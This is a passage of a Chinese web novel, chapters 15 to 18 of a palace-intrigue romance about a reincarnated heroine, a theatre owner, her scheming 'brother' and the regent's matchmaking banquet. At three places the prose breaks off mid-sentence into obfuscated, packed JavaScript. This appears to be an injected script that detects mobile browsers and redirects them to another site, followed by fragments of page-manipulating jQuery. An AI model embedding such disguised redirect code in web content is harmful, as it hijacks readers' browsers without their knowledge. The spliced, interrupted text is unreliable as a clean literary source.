“金小姐。”周盈笑得十分开心,模样活像是饿极了的狼猛地看见一头肥美的绵羊:“金小姐出手如此阔绰,不若考虑下和我一同打理这兰庭戏院?我承诺,只要小姐愿意,我立即退位让贤。不过只有一条要求,兰庭戏院仅侍奉女子。” 周盈一口气说了这么多,搞得叶袭宸头昏脑胀的。哪有一见面就把自己的底牌全都掀开的,起码也得先等自己答应了,再步步为营地让自己入套才是。 难道是这几年周盈的本事生疏了,连这里面的门道都忘记了吗? 周盈自然深谙其道,只是她实在有些撑不下去了。当花魁时攒下来的积蓄以及当年做假账敲诈叶袭宸时的银子,全都填了这两年的亏空了。再这么下去,她就只能到怡红院重操旧业来维持兰亭戏院了。 如今好不容易来了个有钱的主,出手大方阔绰,周盈已经顾不得旁的什么了,只想赶紧把这个烂摊子交出去。 她双手托着腮,满含期望地看着叶袭宸,笑得分外妖娆。 若云看不下去了,直接道:“你说什么呢,我家主子可是正经人家的小姐,怎么能打理这种风月之地?” “小丫头,这就是你的不对了。”周盈直接收起了笑意,转过身来十分严肃地看着若云,颇有几分理直气壮的味道:“你家主子来都来了,还在乎这些吗?再者,风月之地又如何,只要你家主子愿意,将风月之地变成风雅之所也未尝不可。若是办个学堂什么的,专门教女子读书习字,岂不是一桩利民利生的好事?” 若云瞠目结舌,她还从未听过周盈这番言论。一时之间想不出话来反驳,只得委屈地看向叶袭宸。 “主子,您听听她说的这是什么话?” 与面对若云的严肃不同,周盈看向叶袭宸时重新又换上了一副笑模样,眼睛弯得如同月牙一般。 不得不说,周盈这张脸真的是万里挑一。饶是女子,叶袭宸也不由得有些心动。不过,她可没忘了这个家伙是怎么坑她的。 “此事不急,容我仔细想想。” 叶袭宸存了戏耍周盈的心思,却也没把话说死了。但周盈已经有些迫不及待了,急忙凑上前。 “金小姐,莫要迟疑。女子是要有自己的一番事业的,与其劳心费神地另谋新路,不如直接捡个现成的来得划算,您说是与不是?” 叶袭宸面露难色,谎话张口就来:“我倒是有此意。可是家有悍夫,我实在是做不得主啊。” “若是如此的话,事情倒是简单了。”周盈笑意盈盈道:“我的手下倒是养了不少江湖豪杰。若是夫人需要,他们可以帮夫人清除悍夫,当家做主。” 若云讶然:“江湖豪杰?你们究竟是生意人还是土匪?” “你这个小丫头怎么回事。”周盈义愤填膺道:“夫人家中有悍夫,指定没少欺负夫人,否则怎么会连这么点儿小事夫人都做不了主。你家悍夫欺负你家夫人,你不站在自家夫人这头,倒是担心起悍夫的安危来了。你到底是哪头的?” 说罢,周盈附在叶袭宸耳边,压低了声音,但却保证若云能听到:“夫人,依我之拙见,这个小丫头怕不是你家悍夫派过来的细作,你可要当心些,小心回家后她告诉你家悍夫。” 若云哭笑不得:“你少挑拨离间了,哪里有什么悍夫。” 然而话刚说出口,若云便及时住了口。叶袭宸叹了一口气,看来周盈依旧是个人精。 “原来没有悍夫。”周盈故作惊讶,随即伤心道:“金小姐,这可就是你的不是了。你若不想可以直说嘛,何必欺骗于我?” 见周盈责怪叶袭宸,若云来了火气,语气生硬道:“你这个人怎么回事,是你求着我家主子,你怎么还耍上脾气了?你不是说有话直说吗,那我就代主子告诉你,我家主子不想!” 这几句话可以说是十分不客气了,但是周盈并没有生气。她本来就是吃这碗饭的,察言观色只是入门级别,看碟下菜才是其次。然而她今天实在是有些急切了,这碟菜的确有些没下明白。 “若是不想就算了,买卖不成仁义在,二位吃好喝好。”周盈勉强撑起笑意,微微欠身后便离开了。 叶袭宸自始至终都没有说话,她只是透过窗户看着下面人来人往的街道,心里思绪万千。 她只是来这里碰碰运气看看能不能遇到符无虞的,不成想却再遇故人。看来周盈是到了山穷水尽的地步了,否则不会如此急切。可是如今的她不像前世般随心所欲,沈府又不是她开的。 来这里的两锭金子还是从沈道溦的遗物里拿的。 叶袭宸叹了口气,视线无意识瞥过楼下,不曾想却看到了一个意想不到的人物。 ——沈秋实! 15. 第 15 章 他来此作甚? 叶袭宸向前探了探身子,内心不由得叹道。 看来这个沈秋实也是个长了脑子的,还知道换身女装过来。脸上也化了淡淡的妆,还真是下了功夫。若不是前世有幸见过他穿女装的样子,她倒还真不一定认得出来。 沈秋实的身边没有带小厮,是一个人来的。他的眼神几乎算得上坦荡,完全没有丝毫扭捏的样子。 叶袭宸不由得觉得有些好笑,她招呼若云道:“走,我们出门瞧瞧。” 若云不明所以:“瞧什么?” “待会儿你就知道了。” 叶袭宸笑嘻嘻地出了门,双手背在身后站在二楼的栏杆前,居高临下地看着下面。 沈秋实已经在和周盈说话了。他出手很是大方,宽且长的袖子里掏出了一锭金子,开口便想买下兰庭戏院。 有了叶袭宸的两锭金子在前,周盈对沈秋实不甚感冒。她扒拉着算盘子,头都没抬。 “这锭金子只能让公子在此逍遥快活一天,若想买下兰庭戏院,公子还需拿出更大的诚意来。” 周盈直接撕开了沈秋实的伪装,话说得十分不客气。 沈秋实倒也不意外,顺便还夸赞了一波周盈:“老板果真慧眼如珠,轻易便识破了鄙人的伪装。” 周盈依旧没有抬头,“既然承认了自己男子的身份,那便滚出去吧。” 沈秋实笑了:“来者即是客,哪有把客人赶出去的道理?” 周盈道:“公子应该知道我们这里的规矩,兰庭戏院向来不招待男客人,你合该去怡红院。” 沈秋实道:“我来到此处,便是想在这里做些怡红院才能做的事情。换句话说,兰庭戏院该成为下一个怡红院。” 周盈终于抬起头,眸子冷得像是淬了冰一般:“公子是成心来找茬的吗?如果公子不愿离开,我不介意找些人来请你出去。” 沈秋实弯了弯唇:“何必动粗呢?我看老板也还是个妙人,莫非真要留在这里孤独终老吗?” “来人。”周盈不欲与他废话,直接喊了人过来。一声令下,那几个正在戏台子上唱戏的男子便直接跳下台来,直接攻向沈秋实。 “有意思。”叶袭宸眯了眯眼睛。 沈秋实看起来也不像是吃素的。即使身着女子的衣裙,打起来居然也丝毫不受影响。只见他先是一个轻轻的闪避躲开了一个男子的拳头,然后以迅雷不及掩耳之势的速度直接踩在了他的脚背上。 痛得那个男子嗷嗷直叫。沈秋实直接又朝他的眼睛上捣了一拳,男子直接向后倒在了地上。周遭几个见沈秋实如此厉害,直接一窝蜂而上。 沈秋实也不恋战,直接一巴掌拍在柜台上,周盈面前的算盘被这股子力道震起来,珠子全都碎裂。他嗖嗖出手抓住了几颗,然后直接射向那群男子。 而周盈手下的那群人也不是好对付的,其中一人将身上的戏服一脱,在空中挥舞起来。算盘珠子直接被他的戏服裹挟了进去,然后他又将戏服甩了出去。 沈秋实射出去的利器反倒成了射向他的致命武器。他眉头轻皱,无暇多想便躲在了柜台的后面。 当然,躲在柜台后的不止他一人。周盈早在开战的时候便躲在这里,见沈秋实也进来了,便伸出食指和中指直接向沈秋实的眼睛而去。 沈秋实无法判断周盈这一指的力道,只好一个翻身滚将出来。 一系列的动作牵扯,沈秋实胸前的两个苹果已经滚了出来。先前还在看戏的女子们见是如此,便知眼前人并非真是女子。她们个个脸上兴奋,为周盈的手下们打气。 “拿下他!” “今晚我要争一下他的初夜。” “他是我的!” 叶袭宸目睹着这一幕,唇角不由得勾了起来。而沈秋实却是脸色难看,他无法忍受自己如同女子般被提及初夜一类的东西。 “恬不知耻!” 沈秋实羞愤交加地喊出这么一句。 叶袭宸嗤笑一声。 恬不知耻的还在后头呢。 几个男子上前将沈秋实捉了起来,沈秋实奋力反抗,但终究无济于事。 叶袭宸轻笑一声。 先前看他游刃有余,还以为是个多厉害的人物,原来竟是如此这般武功平平。 沈秋实的面庞被汗水浸湿,本就有些淡雅的妆容如今像是被尽数卸去一般。他被人押着跪在地上,面色苍白,几缕发丝紧紧贴在额前,唇色全无,却仍旧倔强着抬起头看着周盈。 周盈伸手抬起他的下巴,左右仔细端详着。 “倒是有副好皮囊。”她吩咐道:“押进去,晚上唱卖他的初夜。” 几个手下就要将沈秋实押进去,他猛地挣扎起来,“你们都麻木了吗!我们大家都是男子,何必如此为难!” 一个男子在沈秋实的背上踹了一下:“叫唤什么?” 不论沈秋实如何挣扎,最终仍旧逃脱不了被押进去的命运。 戏看完了,若云才堪堪认出那个假扮女子的正是自家大少爷,她惊讶地叫了一声:“那个……莫不是大少爷?” 叶袭宸轻轻地应了一声:“正是。” 若云着急起来:“主子,我们快去救大少爷,否则他就要被祸害了。” “救他作甚?”叶袭宸摊开双手:“你家主子我现在是两袖清风,哪里有多余的钱财来救他?” “可是……” 若云还要再说,叶袭宸已经用食指堵住了她的唇:“嘘——” 若云睁大了眼睛。 叶袭宸微笑道:“若真想救他,你只需去向老板说明沈秋实的身份,他就可以安然回家了。” “可是这样大少爷不会觉得难堪吗?而且……”若云为难道:“若是让大少爷知道我们在这里,他会不会去告诉老爷?” “既是如此,那便没什么好说的了。”叶袭宸回了雅间,捏起茶杯凑到唇边。才刚喝了一口,她便皱了皱眉头:“都到兰庭戏院了,我居然还要喝这苦不拉叽的茶叶。若云,叫老板过来,我要喝酒。” 若云点点头,正要离去却又被叶袭宸叫住:“记住,一定要让老板亲自过来。” 若云茫然了一瞬,随即明白了。她眉开眼笑,“我就知道主子不会弃大少爷于不顾的。” 若云高兴离开了,叶袭宸看着她的背影摇头。 小丫头未免太心善了些。但她可不是个好心的人,如今拿到了沈秋实的一个把柄,若是不加以利用,岂不可惜。 叶袭宸才喝了两杯茶,周盈便笑意盈盈地进来了,进门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周盈见到叶袭宸如此神情,证实了心中所想,哼笑一声:“小姐连真实名姓都不肯据实相告,叫我如何相信你。你只是动了动嘴皮子罢了,我却要失去一个发财的机会。这笔买卖,任我如何翻覆看,都是不划算的。除非……” 周盈抬了抬眼皮。 “除非什么?” “除非小姐将身份抖落出来。” 叶袭宸笑了,她给自己倒了一杯茶,细细品味起来,末了咂巴一句:“这里的茶倒真是不错,怪我一时上了小脾气,竟要酒来喝。” 周盈神色凝重。 “老板你去忙你的吧,酒我不要了。” 叶袭宸话说得十分明白,周盈也听得清楚。 既然你不领情,那便怪我多此一举,就当我从未叫你进来要酒来喝。 周盈不由得苦笑一声,她也给自己倒了一杯茶,一手托着腮,一手往嘴里倒茶。 “今天的我到底是怎么了,与小姐的两次交锋,都败在你的手下。” “老板依旧风华正茂,只是我有些咄咄逼人了。” “如今还要小姐来安慰我,我越发自愧不如了。”周盈支着脑袋,笑涔涔的:“小姐究竟何许人也,如此难缠的人物,我平生只见过一位。只是可惜,她是个骗子,两年前就杳无音信了。” 叶袭宸自是知道她说的是谁,故作不知道:“难缠的家伙消失了岂不是一桩幸事?” 周盈苦涩地扯了扯唇角:“若真是如此便好了。” “老板莫非很是想念她?” 周盈冷哼:“我只是想念她的钱袋子罢了。” “……” 当她没问。 16. 第 16 章 在周盈的安排下,叶袭宸见到了被捆在房间内的沈秋实。此时的他已经被褪去了那身衣裙,仅仅只是着了一层薄薄的中衣。整个人成大字形被绑在床上,嘴里还紧紧咬着一团白布。仔细看去,白布上还隐隐有血迹渗出来。 是被咬出来的。 倒也是个性子烈的。 叶袭宸上前拿掉了沈秋实嘴里的白布,沈秋实吐出一口鲜血,眼神复杂地看着她。 “兄长。” 叶袭宸解开了沈秋实的绳子,他的手臂已经被勒出道道触目惊心的伤痕。 “兄长受委屈了。” 沈秋实活动着手腕,顾不得自身的狼狈,反客为主地质问起叶袭宸来:“你怎会在此?” “小妹原本是在逛街,想买些胭脂水粉的,不成想见到一个与兄长极其相似的女子进了兰庭戏院。小妹一时觉得好奇,便跟了进来。” 沈秋实脸色难看:“故而,方才所有的事情你全都看到了?” 叶袭宸讪讪道:“若是没有看到,如今也不会来搭救兄长了。只是那个老板奸滑得很,我手里的银子全都被她趁机敲诈了去。” 沈秋实忽而想起另外一件事,急切道:“那老板可知你我的身份?” 叶袭宸摇头:“自然不知。若是叫她知道了,小妹还用散尽家财吗?” 沈秋实松了口气:“小妹花了多少银两?” 叶袭宸故作为难道:“兄长莫要问了。” 见叶袭宸如此模样,沈秋实偏要问到底。 叶袭宸叹息一声,只好道:“一百两金子。” 沈秋实瞳孔震惊:“多少?” 叶袭宸重复道:“一百两。” 沈秋实有些恨铁不成钢地敲了下叶袭宸的额头:“她要多少你便给多少吗?!” 叶袭宸捂着脑袋退后几步,叫苦道:“我也不想的,可是那老板太厉害了,我若再要讲价下去,她就要怀疑我的身份了。若是我的身份暴露了,岂不是连累兄长也……” 沈秋实只得作罢:“也是。”他捏紧了拳头,骨节咯吱作响:“好一个兰庭戏院,来日我定要让它在帝京永久消失!” 叶袭宸心内冷笑一声。 那你也得有这个本事才行。 “一百两金子我会尽快还给你。”沈秋实道:“我们快些回府,否则父亲要等急了。” 难道这里面还有沈宰辅的事情? 叶袭宸道:“兄长稍等片刻。” “等什么?” 叶袭宸上下打量了沈秋实一番:“兄长总不能这副模样回府。” 沈秋实只得重新坐回床上去。不多时,若云在外面敲门:“主子,衣服已在门口。” 沈秋实立即站了起来,却不是着急去拿衣服,“若云知道我在这里?” “知道。” 沈秋实思忖片刻:“小妹,我知你与若云感情深厚,但今日之事仅限你我两个人知道。” 沈秋实这句话什么意思,叶袭宸听得出来。她的脸色立即冷了下来,“兄长想对若云下手?” “我别无选择。” “那便从我的尸体上踏过去。” “糊涂!”沈秋实呵斥道:“若云仅仅只是一个丫头,难道你兄长我的名节比不得一个丫头!” 叶袭宸也不甘示弱:“我好心搭救兄长,你却非要要了若云的性命!她与我情同姐妹,早知如此,我便不救你了!” “你!” “兄长整日读圣贤书,却连知恩图报的道理都不懂!”叶袭宸道:“我救了兄长,你却要伤我身边人的性命,是何道理!” 沈秋实哑口无言,却也不松口。 叶袭宸往门口走了两步:“若兄长一意孤行,我便去向老板说我后悔了,不买你了,你今夜便与外面那些女子逍遥快活去吧。” 沈秋实见叶袭宸不似作假,急忙拉住她道:“小妹,我们兄妹一场,你莫不是真想见我深陷于此吧。” 叶袭宸掉下两滴泪,楚楚可怜地望着沈秋实:“我自是不想见兄长深陷于此,可我也不能失去若云。” 沈秋实只得松口:“罢了,我不伤若云就是了。但是你要警告她,切不可将今日之事传扬出去,否则……” 叶袭宸急忙道:“知道了。” 她打开门将衣服拿进来,放在桌上:“兄长自行穿衣吧,我在外头等你。” 说完后叶袭宸便离开了,与若云一同在马车前面等着。 若云吓得胆战心惊,不住地抚着自己的胸口。 叶袭宸淡漠道:“看到了吧,沈秋实就是如此心狠手辣。你并未做错什么,仅仅只是偶然撞见了他的把柄,他便要灭你的口。你的好心换不来他的感激,只会得到他的杀戮。” “可……可大少爷还是看在主子的面上,放过奴婢了。” 叶袭宸冷哼一声:“看在我的面上?日后难保他不会对我下手。” 若云惊道:“主子可是大少爷的妹妹,大少爷果真如此狠心吗?” “妹妹又如何?在他眼里,什么都不值一提。” 长辞在一旁顺着马毛,支起耳朵静静听着。不多时沈秋实便出来了,东张西望,鬼鬼祟祟的,脸上还蒙了一块白布。长辞一直低着头,唯恐自己落得和若云一般的下场。 若云与叶袭宸相伴多年,感情深厚。而自己才刚到叶袭宸身边,若是沈秋实想杀自己灭口,那叶袭宸恐怕会毫不犹豫地答应。 沈秋实上了马车。 若云不敢坐在里面,便坐在外头看着长辞赶车。马车很快到了宰辅府,沈秋实扯下脸上的白布,尽量装作若无其事的样子进了府。 叶袭宸玩味地看着他的背影,有些好奇先前那个孱弱无能的沈秋实到底是经历了怎样的事情才会变成现在这般模样。 虽然前世她也不甚了解沈秋实,仅仅只是见过几面而已,对他唯一的印象便是沈道溦那个病弱的兄长。但她看得出来,沈秋实是个心地善良之人,那份儿温柔是从骨子里透出来的。 叶袭宸叹息一声,招呼若云和长辞回了暖雪阁。她让若云在石桌上摆了茶,让长辞在墙边倒立,然后自己在院子里练拳。 如今的她已经不至于稍微用些力气便要吐血了,这是好的征兆。身体练结实了,武功自然会一点点回来。 叶袭宸的额头冒出汗珠,背后的衣服也湿了一大片。若云上来仔细地为叶袭宸擦去汗水,满眼心疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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楚无暇气极,一时惊讶上头,险些忘记眼前这位大小姐并未真正信服自己了。不过话又说回来,这位可真不是什么平凡人物,连个情绪转变都没有。他原先的想法是,叶袭宸大发雷霆一番,然后自己献上良计,取得她的信任。不成想,自己的计还未献,她便早就想到了。 楚无暇叹息一声。 看来自己是护卫做不成,谋士也无戏可唱了。他忍不住仰天长叹,“难道我楚无暇英雄一世,却只能在小姐面前做个中看不中用的花瓶吗?” 叶袭宸大笑两声,毫不留情地补了一刀:“如今看来,确是如此。” 楚无暇宛若一只受伤的小动物:“小姐如此说,我可是很伤心的。” “会吗?”叶袭宸喝了一口茶:“我看你的脸皮厚得很。” “小姐似乎……很喜欢欺负我?”楚无暇得出了一个有些匪夷所思但极其符合如今处境的结论。 叶袭宸被茶水呛到了:“咳咳咳……”若云急忙递上手帕,她擦了擦唇角,半是无奈半是请求道:“请你下次语出惊人的时候提个醒。” “如此便叫语出惊人了吗?”楚无暇发现自己好像找到应付叶袭宸的法子了,高兴得有些不能自已。 “可小姐似乎并未告知我何为语出惊人。” “我们这样有意思吗?”叶袭宸食指并中指夹出一个小药包:“你若真想取信于我,便去帮我做一件事情。事情做好了,我便信你,如何?” 17. 第 17 章 今日是摄政王唐锶谐的相亲宴会,宰辅府上下张灯结彩,喜气洋洋。各路贵族千金小姐花枝招展地前来,她们每个人的脸上都写上了“志在必得”四个大字,想让别人不注意到都十分难得。 听说这场宴会是当今皇上花疏叶授意沈宰辅去办的,说什么摄政王乃是大衍朝的根基,必须有子孙后代留存于世,才可告慰庙堂宗亲。 这番荒唐的发言险些让听到的人担心自己的项上人头,但见皇上说得如此疯疯癫癫,这份儿担忧也就日渐消散了。 他们认准了皇上已经被那叶贼折磨得痴傻,智力难胜于三岁孩童。本着良禽择木而栖的原则,他们想尽了法子去讨好摄政王。 今日的宴会便是一个极好的机会。 且不说摄政王权势滔天,单论他本人也是风度翩翩,虽说终日戴着一张银白色的面具,旁人难以窥探其容。但单看那仿若人工雕刻的下巴,就知此人相貌非凡。 但既是相貌非凡,又为何不取下面具,以真容示人呢? 帝京中不乏有闲人,这个疑问自唐锶谐一战成名后就从无断过,众说纷纭。有好事者将这些纷纭整合起来,归为两类。 其一是因其在战场上冲锋陷阵之时被敌将划花了脸,由此破了相。心高气傲的他承受不起这个打击,更是怕自己的面容吓坏了旁人,从此带上面具,遮掩伤痕。 其二是其形容俊美,惊为天人,以至于到了敌将看到他都会因心生爱慕而手下留情的地步,唯恐被人看到起了歹心或是被旁人说他胜之不武才出此下策。 这两种说法都颇有意思,其中不难看出提出者的心理。第一种说法的提出者大抵是嫉妒其才能之人,然比又比不过,只能拿其面容说事,欲中伤于他。 第二种说法的提出者则是有些调戏或是调侃之意。唐锶谐乃是个将军,如今又是摄政王,敢如此调侃他的怕是不多。 虽已经无从查寻第二种说法的提出者,但流传较多的则是这种说法是从叶袭宸处而起。 呃。 倒有些像个笑话了,虽然这并不好笑。 其实不管从哪个方面来说,唐锶谐都不失为良人。 然而今日,叶袭宸偏就要在这个良人的相亲宴会上捣个乱。 她一大清早便起来了,要若云帮她梳个极其好看的发型。若云一面梳着一面勾唇微笑:“主子如此打扮,可是为了摄政王?” “自然。”叶袭宸手里把玩着从花园里折下的一枝长春花:“若是他能在人群中一眼看到我,也就不枉费我早起梳妆的这一番心思了。” 若云欲言又止:“主子……” 叶袭宸挑眉:“怎么?” 若云忧心忡忡:“昨个儿楚公子说的那番话……” “什么话?”叶袭宸问道:“楚无暇那厮整日花言巧语,我又怎么记得你指的是哪一句?” 若云深深地吸了一口气:“他说主子要在洞房花烛夜动手……” “哈哈哈。”叶袭宸笑了三声:“你以为如何呢?” 若云道:“奴婢只希望主子好好的。” 叶袭宸勾了勾唇。 若云瞧见铜镜内叶袭宸的神情,愈加担忧,但没有再说什么,只是刻意放缓了动作。 叶袭宸岂会看不出若云的小心思:“莫要磨蹭了,待会儿误了时辰如何是好?” 误了就误了吧。 若云心内想着。 总比脑袋搬家要好。 虽说摄政王对主子还尚存几分情义,但也应该容不下一个对他抱有杀心之人。 叶袭宸道:“今日这宴会我是必须去了,你若是不快些,我便只能披头散发上去了。” 若云急了:“那怎么可以!” 叶袭宸微笑:“既是如此,就快些吧。” 若云没有法子,只好按照叶袭宸说的做。她一面盘着发髻一面瞧向窗子外面,心里期盼着楚无暇能来到这里,绊住主子的脚步。 她看得出来,楚无暇是对自家主子有情的。既然有情,断然不会坐视主子嫁给旁人。但若云左等右等,一直等到为叶袭宸梳洗打扮完毕,也不见楚无暇出现。 若云心中气愤。 这个姓楚的真是靠不住,每日甜言蜜语说得好听,真到关键时刻就不见人影了。 叶袭宸今日着了一身湖蓝色的衣装,端庄大气不失妩媚动人,眉宇之间的一股子英气是怎么遮也遮掩不住。 她瞧着铜镜里的自己,不得不感慨一句沈道溦的这张脸果然是国色天香。平日里见她只道是病西子,今日才知她还有另外一种无法言说的美。 “……” 叶袭宸闭了闭眼睛,一股异样的感觉涌上心头。 长辞在外面的院子里喊道:“主子,时辰到了。” 叶袭宸如梦初醒,对若云道:“我们走吧。” 府内已经摆好了筵席,就在露天大院里。往来宾客络绎不绝,他们推杯换盏,喝得酩酊大醉。舞台上的歌姬尽情舞蹈,欢声笑语萦绕其中。 叶袭宸坐在前排,身后站着若云和长辞。她一面小口饮着酒,一面观察着筵席上的宾客。 虽说是为了摄政王举办的相亲宴会,然而宾客中却不乏众多男子。他们或是带着家中女儿或是姊妹来赴宴会,或是想借此与摄政王套近乎。然可笑的是,虽是打着结亲的幌子,却是让其姊妹坐于其后。放眼望去,唯有沈府的叶袭宸和沈星月坐于前排,其余则是坐在其父兄身后。纵然对摄政王有心,却也只能眼巴巴地望着。 不知沈星月对于唐锶谐是个什么态度。 叶袭宸不由得看向旁边,只见那沈星月如同看仇人般盯着稳坐其上的唐锶谐。若是眼神可以化作两把弯刀,只怕是唐锶谐要千疮百孔了。 许是察觉到叶袭宸的视线,沈星月偏头对上她的眸子,轻轻地哼了一声。叶袭宸回之一个友好的微笑,沈星月稍微一怔,立即回过头去,重重地将酒杯放在桌上,酒水从中洒出来些许。 叶袭宸心底微笑。 这沈星月煞是可爱。 舞台上的歌姬已经表演完,沈秋实已经上台。今日他倒依旧是一袭白衣,火红的灯火映着,看上去倒是有种诡异的喜庆。 他正要宣布下个节目,沈星月却从座位上起身,径直飞上台前,长鞭在手,直接抽向头顶上挂着的两排红灯笼。 这一反应所有人都始料未及,他们不自觉抬起头来,视线随着掉落的红色灯笼落至地面,随即便看到里头盛着的礼花飞上高空,竞相炸裂,漫天飞舞。 沈秋实看着眼前这不受他掌控的一切,脸色微变,上前一步攥紧了沈星月的手腕,压低了声音:“众多宾客在场,不得胡闹!” 沈星月却是笑了一声:“兄长想多了,我只是觉得这些歌舞太过乏味,想给在场的宾客来些有意思的东西。下个节目稍等些再上吧,且容小妹我表演一番。” “你……” 沈秋实正要反驳,一阵掌声从场下响起。他扭头看去,竟是叶袭宸。 见沈秋实眼色不善,叶袭宸微微一笑道:“妹妹刚才的演出煞是精彩,兄长何必大发雷霆,不如坐下一同欣赏吧。” 沈秋实脸色愈加难看:“道溦,星月不懂事也罢,你也跟着胡闹!” 叶袭宸笑道:“是胡闹还是精彩,众人有目共睹。兄长何不问问在场大伙的意见?”她环顾四周,语气蛊惑:“我家小妹别出心裁,想尽法子为大家伙解闷,大家尽可畅所欲言。” 一个坐于父兄身后的女子小心翼翼地站了起来:“私以为沈二小姐方才的出场甚是有趣。虽有些叫人吃惊,然……” 她的话还未说完,坐于前排的似是兄长的男子便蛮横地将她拽回到座位上。她欲言又止,然触及到男子眼底的怒火,却也只能敢怒不敢言。 经此一番,全场鸦雀无声,再无一人敢说话。 叶袭宸讪笑两声:“看来若想让兄长听到最为真实的声音,的确还有些难度。”她径直看向坐在上首的唐锶谐,微微欠身:“摄政王以为如何呢?” 那戴着半边银色面具的男人此时正在合眼假寐,如今被人叫醒,他面露不悦,睁眼看向那个不知死活的女子。待看清下面所站之人系谁时,他眉头轻皱,目露迷茫。 “这是在何处?” “回摄政 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912796|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王。”侍卫谢有缘道:“这是在宰辅府。” “宰辅府?” 唐锶谐喃喃地重复着这三个字。 侍卫林有分道:“是,下面所站之人便是沈府大小姐沈道溦。”末了,还添油加醋道:“看沈小姐的装扮,可知她是为摄政王费了一番心思的。” “是吗?” 唐锶谐的声音里有些几分不确定。再看向一脸凝重的沈星月和铁青着脸的沈秋实以及地上散落的几个破碎的红灯笼,他瞬间明白了几分事情的原委。 “沈二小姐心思活跃,本王甚悦。” 摄政王的声音不大,却足以让在场的人全都听到。方才还鸦雀无声的场子立即变得活跃起来,圆滑的官员们纷纷附和,一山更比一山高。 “摄政王说得是,下官方才也如此认为。” “摄政王不愧为摄政王,自然比我等的眼界高出甚多。” 一时之间,夸赞的声音铺天盖地而来,全都是为摄政王的。当然,也有些别出心裁之人,是去借着夸沈星月而拍摄政王的马屁的。 “沈二小姐的表演果真与众不同,我等乃是沾了摄政王的光,一饱眼福啊。” 面对如此的喝彩声,沈秋实也不好再说沈星月什么,只得将舞台交给了她。 沈星月一手叉腰,一手持鞭,气势逼人,威风凛凛。她高高地扬起鞭子,尽情地挥着。鞭锋所到之处,无不倍受摧残。然而她身法灵活,鞭子只触及到死物,却未伤活物分毫。不过这等惊心动魄的场面,却是让人心潮澎湃。 叶袭宸禁不住再次起身大声叫好。 眼看着帝京第一才女都抛却了矜持,其余千金小姐也就没什么顾忌的了,个个起身越过父兄,为沈星月的飒爽英姿欢欣鼓舞。 她们如此热烈,仿佛今日这场宴会的主角并非高位上那个冰冷如月的摄政王,而是台上这个肆意潇洒的沈星月。 沈秋实在旁边看着,脸色难看,紧握拳头,指甲深深嵌进掌心里。 如此喧闹,成何体统! 依照他的想法,女子本应安分守己地看着自己的父兄在此花天酒地。 沈秋实看向叶袭宸,如此场面全都是她一人挑唆起来的。他绷紧了腮帮子,走到叶袭宸旁边,一句话未说,抬手按着她的肩膀,直到把她按到座位上。 叶袭宸并未反抗,横竖气氛已经燃起来了,缺她一个不缺。正巧她也腿酸了,能坐下休息,何乐而不为? 事实也果真如叶袭宸所料,直到沈星月表演完毕,那群世家小姐才意犹未尽地回到父兄身后去,静静等待着下一个百无聊赖的节目。 沈秋实的脸色缓和了些,走上台去:“接下来请欣赏小妹沈道溦精心为摄政王准备的曲子。” ? 叶袭宸不确定地指了指自己。她原本的确是想在宴会上表演一曲,但从未向沈秋实提及过此事。 缘何…… 呃。 恐怕现下容不得她缘何了,沈秋实早已叫人抬了古琴上来,众宾客也眼巴巴地望着。叶袭宸只得起身上台,坐在古琴前,面向唐锶谐。 她闭了闭眼睛,抬起手来,然后缓缓放下,拨动琴弦。仿佛无师自通一般,一首风花雪月充满柔情的曲子自叶袭宸手指间流出。 众人皆闭眼沉醉其中,无不欣赏连连。 “不愧是帝京第一才女,叫人听得如痴如醉。”其中一位男子不由得叹道,却又立即被他的父亲呵斥:“胡说些什么?” 男子不明所以,经由父亲的提醒看向上首。触及到摄政王眼底的阴沉后,吓得立即闭上了嘴巴。 一曲弹完,众人无不意犹未尽,纷纷鼓起掌来,但却无一人敢给出评价。因着沈秋实先前的一句“精心为摄政王准备的”,众宾客只能望向唐锶谐。 唐锶谐沉默不语,只是抿紧了唇。 谢有缘道:“如此缱绻柔情,可见沈小姐对摄政王还是有情义的。” 林有分道:“沈小姐还在眼巴巴地等着摄政王的话。” 唐锶谐拧紧了眉头,正要开口,外头却传来太监又尖又细的一句。 “皇、上、驾、到——” 18. 第 18 章 他果然来了。 叶袭宸轻笑一声,随即收敛笑意,侧身闪避到一旁。 花疏叶着了一袭明黄色的龙袍,却并未头戴冠冕。一头黑色的柔顺长发用一根明黄色的簪子束着,额前留了几缕飘逸的发丝。不似个皇帝,倒像个如同楚无暇一般的浪子。 他在一群太监宫女的包围下进来,个个神气十足。御前侍卫在前面开道,个个凶神恶煞。然而处于其中的花疏叶脸上却没有半分身为君王该有的威严,永远嬉皮笑脸,绯红的脸颊以及一副醉醺醺的模样似是刚喝过酒过来。 众人神色凝重,皆是不知皇上为何前来。莫非是来兴师问罪,给他们扣上一顶结党营私的帽子?但环顾四周,朝中的官员来了大半,皇上即便想肃清朝堂,难道还真能将全部人都杀了不成?更何况,这场宴会还是皇上授意沈府办的。 众人跪了一地。 “皇上万岁万岁万万岁!” “臣等参见皇上!” “皇上万福金安!” “嗝——” 一个大大的酒嗝险些让众人措手不及。 花疏叶嬉皮笑脸地和大家打招呼。 “出门仓促,让爱卿们见笑了,众卿多多担待哈。” 几个官员已经开始窃窃私语。 “这这这……身为一国之君,成何体统?” “比起当今皇上,摄政王明显更有一国之君的气势。” “摄政王如日中天,难保日后不会……” “难保日后不会如何?” 那个官员倏然一惊,猛然抬头,不知何时花疏叶已经嬉笑着面庞走到他跟前。他吓得立即磕头:“臣失言,请皇上恕罪!” 